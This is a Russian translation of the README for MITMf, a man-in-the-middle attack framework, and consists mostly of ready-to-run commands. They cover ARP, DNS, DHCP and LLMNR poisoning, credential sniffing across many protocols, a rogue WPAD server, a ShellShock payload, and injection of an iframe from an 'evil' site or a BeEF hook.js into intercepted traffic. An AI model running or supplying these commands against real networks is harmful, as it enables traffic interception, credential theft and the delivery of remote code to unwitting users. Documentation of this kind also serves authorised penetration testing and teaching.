Фреймворк для атак Man-In-The-Middle
Фреймворк для атак Man-In-The-Middle
Этот проект больше не обновляется. MITMf был написан для удовлетворения потребности в современном инструменте для атак типа «человек посередине». С тех пор появилось множество других инструментов, заполнивших эту нишу. Вам, вероятно, следует использовать Bettercap, так как он гораздо более функционален и лучше поддерживается.
Краткие руководства, примеры и новости разработчика: https://byt3bl33d3r.github.io
Этот инструмент основан на sergio-proxy и является попыткой возродить и обновить проект.
Свяжитесь со мной:
Перед отправкой вопросов, пожалуйста, прочитайте соответствующий раздел в вики.
Пожалуйста, обратитесь к вики за инструкциями по установке
MITMf предназначен для обеспечения единого решения для атак Man-In-The-Middle и сетевых атак, при этом обновляя и улучшая существующие методы и техники атак.
Изначально созданный для устранения серьёзных недостатков других инструментов (например, Ettercap, Mallory), он был почти полностью переписан с нуля, чтобы предоставить модульную и легко расширяемую среду, которую каждый может использовать для реализации собственных MITM-атак.
Фреймворк включает встроенные серверы SMB, HTTP и DNS, которые могут контролироваться и использоваться различными плагинами. Он также содержит модифицированную версию прокси SSLStrip, поддерживающую модификацию HTTP и частичный обход HSTS.
Начиная с версии 0.9.8, MITMf поддерживает активную фильтрацию и модификацию пакетов (в основном то, что делали etterfilter, только лучше), позволяя пользователям изменять любой тип трафика или протокола.
Файл конфигурации можно редактировать на лету во время работы MITMf; изменения будут переданы по всему фреймворку: это позволяет настраивать параметры плагинов и серверов прямо во время атаки.
MITMf перехватывает учётные данные FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (все поддерживаемые протоколы, такие как HTTP, SMB, LDAP и т.д.) и Kerberos с помощью Net-Creds, который запускается при старте.
Интеграция Responder обеспечивает отравление LLMNR, NBT-NS и MDNS, а также поддержку подставного WPAD-сервера.
Теперь вы можете изменять любой пакет/протокол, перехваченный MITMf, с помощью Scapy! (больше никаких etterfilter, ура!)
Например, вот крошечный глупый фильтр, который просто меняет IP-адрес назначения ICMP-пакетов:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet для доступа к пакету в формате, совместимом с Scapy.data для доступа к сырым данным пакета.Чтобы использовать фильтр, достаточно выполнить: python mitmf.py -F ~/filter.py
Вероятно, вы захотите объединить это с плагином Spoof, чтобы действительно перехватывать пакеты от других ;)
Примечание: вы можете изменять фильтры на лету без перезапуска MITMf!
Самый простой запуск: запускает HTTP-прокси, серверы SMB, DNS, HTTP и Net-Creds на интерфейсе enp3s0:
python mitmf.py -i enp3s0
Отравление ARP всей подсети с шлюзом 192.168.1.1 с помощью плагина Spoof:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
То же самое с добавлением подставного WPAD-сервера с помощью плагина Responder:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Отравление ARP диапазона 192.168.1.16-45 и подсети 192.168.0.1/24 с шлюзом 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Включение подмены DNS при отравлении ARP (домены для подмены берутся из конфигурационного файла):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Включение подмены LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Включение подмены DHCP (пул IP-адресов и подсеть берутся из конфигурационного файла):
python mitmf.py -i enp3s0 --spoof --dhcp
То же самое с полезной нагрузкой ShellShock, которая будет выполнена, если клиент окажется уязвимым:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Внедрение HTML-IFrame с помощью плагина Inject:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Внедрение JS-скрипта:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Запуск captive-портала, перенаправляющего всё на http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Запуск captive-портала по адресу http://ваш-ip/portal.html с использованием страницы по умолчанию /portal.html (спасибо responder) и /CaptiveClient.exe (не включён) из папки config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
То же, но с использованием имени хоста captive.portal вместо IP (требуется, чтобы captive.portal разрешался в ваш IP, например, через подмену DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Обслуживание captive-портала с дополнительным экземпляром SimpleHTTPServer, раздающим LOCALDIR по адресу http://IP:8080 (порт можно изменить в mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
То же, но с именем хоста:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
И многое, многое другое!
Конечно, вы можете комбинировать практически любые плагины вместе (например, ARP-спуфинг + inject + Responder и т.д.).
Полный список доступных опций можно получить, выполнив python mitmf.py --help.
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr